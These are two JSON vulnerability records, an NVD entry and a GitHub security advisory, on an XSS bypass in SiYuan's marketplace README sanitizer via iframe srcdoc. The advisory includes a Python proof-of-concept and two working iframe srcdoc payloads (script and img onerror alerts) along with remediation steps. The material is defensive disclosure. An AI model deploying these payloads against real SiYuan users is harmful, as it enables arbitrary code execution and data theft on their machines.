{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "SiYuan is an open-source personal knowledge management system. In versions 3.6.1 through 3.6.3, a prior fix for XSS in bazaar README rendering (incomplete fix for CVE-2026-33066) enabled the Lute HTML sanitizer, but the sanitizer does not block iframe tags, and its URL-prefix blocklist does not effectively filter srcdoc attributes which contain raw HTML rather than URLs. A malicious bazaar package author can include an iframe with a srcdoc attribute containing embedded scripts in their README. When other users view the package in SiYuan\u0027s marketplace UI, the payload executes in the Electron context with full application privileges, enabling arbitrary code execution on the user\u0027s machine. This issue has been fixed in version 3.6.4."
    }
  ],
  "id": "CVE-2026-40922",
  "lastModified": "2026-04-17T01:17:40.447",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "LOW",
          "subIntegrityImpact": "LOW",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-17T01:17:40.447",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/advisories/GHSA-4663-4mpg-879v"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/siyuan-note/siyuan/commit/b382f50e1880ed996364509de5a10a72d7409428"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-8q5w-mmxf-48jg"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260414013942-62eed37a3263"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:12:18Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe incomplete fix for SiYuan\u0027s bazaar README rendering enables the Lute HTML sanitizer but fails to block `\u003ciframe\u003e` tags, allowing stored XSS via `srcdoc` attributes containing embedded scripts that execute in the Electron context.\n\n### Affected Package\n\n- **Ecosystem:** Go\n- **Package:** github.com/siyuan-note/siyuan\n- **Affected versions:** \u003c commit b382f50e1880\n- **Patched versions:** \u003e= commit b382f50e1880\n\n### Details\n\nThe `renderPackageREADME()` function in `kernel/bazaar/readme.go` renders Markdown README content from bazaar (marketplace) packages into HTML. The original vulnerability allowed stored XSS through unsanitized HTML in READMEs. The fix adds `luteEngine.SetSanitize(true)` to enable Lute\u0027s built-in HTML sanitizer.\n\nHowever, the Lute sanitizer in `lute/render/sanitizer.go` has a critical gap:\n1. `\u003ciframe\u003e` is explicitly commented out of `setOfElementsToSkipContent`, so iframe tags pass through.\n2. The `srcdoc` attribute is checked against URL-prefix blocklists (`javascript:`, `data:text/html`), but `srcdoc` contains raw HTML content, not a URL. A value like `\u003cimg src=x onerror=alert(1)\u003e` does not start with any blocked prefix.\n3. The browser renders `srcdoc` HTML in a nested browsing context, executing embedded scripts and event handlers.\n\nThe fix correctly blocks direct `\u003cscript\u003e` tags, event handler attributes, and `javascript:` protocol links. However:\n\n- `\u003ciframe srcdoc=\"\u003cscript\u003ealert(document.domain)\u003c/script\u003e\"\u003e` passes through because iframe is not blocked and the srcdoc value is raw HTML (not a URL scheme).\n- `\u003ciframe srcdoc=\"\u003cimg src=x onerror=alert(document.cookie)\u003e\"\u003e` also passes because the event handler is inside the srcdoc string value, not a top-level tag attribute.\n\n### PoC\n\n```python\n\"\"\"\nCVE-2026-33066 - Incomplete Sanitization in SiYuan Bazaar README Rendering\n\nComponent: kernel/bazaar/readme.go :: renderPackageREADME()\nPatch: https://github.com/siyuan-note/siyuan/commit/b382f50e1880ed996364509de5a10a72d7409428\n\"\"\"\n\nimport re\nimport sys\nfrom html.parser import HTMLParser\n\nELEMENTS_TO_SKIP_CONTENT = {\n    \"frame\", \"frameset\",\n    # \"iframe\",  # NOTE: iframe is commented out in the original Go code!\n    \"noembed\", \"noframes\", \"noscript\", \"nostyle\",\n    \"object\", \"script\", \"style\", \"title\",\n}\n\nEVENT_ATTRS = {\n    \"onafterprint\", \"onbeforeprint\", \"onbeforeunload\", \"onerror\",\n    \"onhashchange\", \"onload\", \"onmessage\", \"onoffline\", \"ononline\",\n    \"onpagehide\", \"onpageshow\", \"onpopstate\", \"onresize\", \"onstorage\",\n    \"onunload\", \"onblur\", \"onchange\", \"oncontextmenu\", \"onfocus\",\n    \"oninput\", \"oninvalid\", \"onreset\", \"onsearch\", \"onselect\",\n    \"onsubmit\", \"onkeydown\", \"onkeypress\", \"onkeyup\", \"onclick\",\n    \"ondblclick\", \"onmousedown\", \"onmousemove\", \"onmouseout\",\n    \"onmouseover\", \"onmouseleave\", \"onmouseenter\", \"onmouseup\",\n    \"onmousewheel\", \"onwheel\", \"ondrag\", \"ondragend\", \"ondragenter\",\n    \"ondragleave\", \"ondragover\", \"ondragstart\", \"ondrop\", \"onscroll\",\n    \"oncopy\", \"oncut\", \"onpaste\", \"onabort\", \"oncanplay\",\n    \"oncanplaythrough\", \"oncuechange\", \"ondurationchange\", \"onemptied\",\n    \"onended\", \"onloadeddata\", \"onloadedmetadata\", \"onloadstart\",\n    \"onpause\", \"onplay\", \"onplaying\", \"onprogress\", \"onratechange\",\n    \"onseeked\", \"onseeking\", \"onstalled\", \"onsuspend\", \"ontimeupdate\",\n    \"onvolumechange\", \"onwaiting\", \"ontoggle\", \"onbegin\", \"onend\",\n    \"onrepeat\", \"http-equiv\", \"formaction\",\n}\n\nURL_ATTRS = {\"src\", \"srcdoc\", \"srcset\", \"href\"}\nBLOCKED_URL_PREFIXES = (\"data:image/svg+xml\", \"data:text/html\", \"javascript\")\nSELF_CLOSING_TAGS = {\"img\", \"br\", \"hr\", \"input\", \"meta\", \"link\", \"area\",\n                      \"base\", \"col\", \"embed\", \"source\", \"track\", \"wbr\"}\n\n\ndef sanitize_attr_value_for_url(key, val):\n    cleaned = val.lower().strip()\n    cleaned = \u0027\u0027.join(c for c in cleaned if not c.isspace() or c == \u0027 \u0027)\n    for prefix in BLOCKED_URL_PREFIXES:\n        if cleaned.startswith(prefix):\n            return False\n    return True\n\n\nclass LuteSanitizer(HTMLParser):\n    def __init__(self):\n        super().__init__(convert_charrefs=False)\n        self.output = []\n        self.skip_depth = 0\n\n    def handle_starttag(self, tag, attrs):\n        tag = tag.lower()\n        if tag in ELEMENTS_TO_SKIP_CONTENT:\n            self.skip_depth += 1\n            self.output.append(\" \")\n            return\n        if self.skip_depth \u003e 0:\n            return\n        sanitized_attrs = []\n        for key, val in attrs:\n            key = key.lower()\n            if val is None: val = \"\"\n            if key in EVENT_ATTRS: continue\n            if key in URL_ATTRS:\n                if not sanitize_attr_value_for_url(key, val): continue\n            sanitized_attrs.append((key, val))\n        parts = [\"\u003c\" + tag]\n        for key, val in sanitized_attrs:\n            escaped_val = val.replace(\"\u0026\", \"\u0026amp;\").replace(\u0027\"\u0027, \"\u0026quot;\")\n            parts.append(f\u0027 {key}=\"{escaped_val}\"\u0027)\n        if tag in SELF_CLOSING_TAGS: parts.append(\" /\")\n        parts.append(\"\u003e\")\n        self.output.append(\"\".join(parts))\n\n    def handle_endtag(self, tag):\n        tag = tag.lower()\n        if tag in ELEMENTS_TO_SKIP_CONTENT:\n            self.skip_depth -= 1\n            if self.skip_depth \u003c 0: self.skip_depth = 0\n            self.output.append(\" \")\n            return\n        if self.skip_depth \u003e 0: return\n        self.output.append(f\"\u003c/{tag}\u003e\")\n\n    def handle_data(self, data):\n        if self.skip_depth \u003e 0: return\n        self.output.append(data)\n\n    def handle_entityref(self, name):\n        if self.skip_depth \u003e 0: return\n        self.output.append(f\"\u0026{name};\")\n\n    def handle_charref(self, name):\n        if self.skip_depth \u003e 0: return\n        self.output.append(f\"\u0026#{name};\")\n\n    def handle_comment(self, data): pass\n    def handle_decl(self, decl): pass\n\n    def get_output(self): return \"\".join(self.output)\n\n\ndef sanitize_html(html_str):\n    sanitizer = LuteSanitizer()\n    sanitizer.feed(html_str)\n    return sanitizer.get_output()\n\n\ndef check_xss(html_output):\n    findings = []\n    srcdoc_match = re.search(r\u0027srcdoc=\"([^\"]*)\"\u0027, html_output, re.IGNORECASE)\n    if srcdoc_match:\n        import html as html_mod\n        decoded = html_mod.unescape(srcdoc_match.group(1).lower())\n        if \u0027\u003cscript\u0027 in decoded:\n            findings.append(\"iframe srcdoc: embedded \u003cscript\u003e tag\")\n        if re.search(r\u0027on\\w+\\s*=\u0027, decoded):\n            findings.append(\"iframe srcdoc: event handler in nested HTML\")\n    return findings\n\n\nPAYLOADS = [\n    \u0027\u003ciframe srcdoc=\"\u003cscript\u003ealert(document.domain)\u003c/script\u003e\"\u003e\u003c/iframe\u003e\u0027,\n    \u0027\u003ciframe srcdoc=\"\u003cimg src=x onerror=alert(document.cookie)\u003e\"\u003e\u003c/iframe\u003e\u0027,\n]\n\nbypass_found = False\nfor payload in PAYLOADS:\n    fixed_output = sanitize_html(payload)\n    findings = check_xss(fixed_output)\n    if findings:\n        bypass_found = True\n        print(f\"BYPASS: {payload[:80]}\")\n        for f in findings:\n            print(f\"  - {f}\")\n\nif bypass_found:\n    print(\"\\nVULNERABILITY CONFIRMED\")\n    sys.exit(0)\nelse:\n    print(\"\\nVULNERABILITY NOT CONFIRMED\")\n    sys.exit(1)\n```\n\n```bash\npython3 poc.py\n```\n\n**Steps to reproduce:**\n1. `git clone https://github.com/siyuan-note/siyuan /tmp/siyuan_test`\n2. `cd /tmp/siyuan_test \u0026\u0026 git checkout b382f50e1880ed996364509de5a10a72d7409428~1`\n3. `python3 poc.py`  (or `go run poc.go` if Go PoC)\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\nIframe tags with srcdoc attributes bypass the Lute sanitizer, allowing embedded scripts to execute in the Electron context.\n```\n\n### Impact\n\nA malicious bazaar package author can include `\u003ciframe srcdoc=\u0027\u003cscript\u003e...\u003c/script\u003e\u0027\u003e` in their README.md. When other users view the package in SiYuan\u0027s marketplace UI, the XSS executes in the Electron context with full application privileges, enabling data theft, local file access, and arbitrary code execution on the user\u0027s machine.\n\n### Suggested Remediation\n\n1. Add `iframe` to the `setOfElementsToSkipContent` set in the Lute sanitizer.\n2. If iframes must be preserved, strip the `srcdoc` attribute entirely or sanitize its HTML content recursively.\n3. Apply a Content Security Policy (CSP) to the README rendering context.\n\n### References\n\n- Incomplete fix commit: https://github.com/siyuan-note/siyuan/commit/b382f50e1880ed996364509de5a10a72d7409428\n- Original CVE: CVE-2026-33066",
  "id": "GHSA-8q5w-mmxf-48jg",
  "modified": "2026-04-14T23:12:19Z",
  "published": "2026-04-14T23:12:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-8q5w-mmxf-48jg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33066"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/commit/b382f50e1880ed996364509de5a10a72d7409428"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SiYuan has incomplete fix for CVE-2026-33066: XSS"
}